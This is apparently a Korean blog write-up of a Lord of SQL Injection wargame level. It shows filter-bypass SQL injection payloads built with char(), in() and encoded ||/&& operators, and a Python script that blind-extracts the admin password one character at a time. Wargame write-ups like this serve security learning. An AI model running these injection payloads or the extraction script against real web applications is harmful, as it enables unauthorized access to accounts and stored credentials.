SMALL
한층더 업그레이드 되는 필터기능 이다. 대체 되는 것들로 정리를 하면 아래와 같다.
?pw=1&no=2%7c%7c((id)in(char(97,100,109,105,110)))%26%26((no)in(char(50)))
대체 함수로 요리조리 피해서 Hello admin을 추출해 낼 수 있었다.
그렇다면 길이를 확인하는 것도 금방 일 것이다.
?pw=1&no=2%7c%7c((id)in(char(97,100,109,105,110)))%26%26length(pw)<9
?pw=1&no=2%7c%7c((id)in(char(97,100,109,105,110)))%26%26length(pw)<8
이로써 8자리 국룰인것을 확인하고 pw의 정확한 값을 알아내기 위해 자동화 코드를 짜 보았다.
이렇게 더 필터링되는것을 확인하고 최종적인 결과
import requests
headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키값
for i in range(1, 9): # 큰 반복분 8자리 이기에 9까지
for j in range(48, 127): # 작은 반복문 숫자부터 시작함
params = {'pw': "1",
'no': "0||((id)in(char(97,100,109,105,110)))&&hex(mid(pw," + str(i) + ",1))in(hex(" + str(j) + "))"}
r = requests.get(url, params=params, headers=headers)
if "Hello admin" in r.text: # 응답값에서 텍스트가 Hello admin이면 출력하고 다음자리로
print(chr(j), end='')
break
클리어!
'Network > LOS' 카테고리의 다른 글
[LOS_15]assassin (0) | 2019.08.28 |
---|---|
[LOS_14]giant (0) | 2019.08.28 |
[LOS_12]darkknight (0) | 2019.08.27 |
[LOS_11]golem (0) | 2019.08.27 |
[LOS_10]skeleton (0) | 2019.08.17 |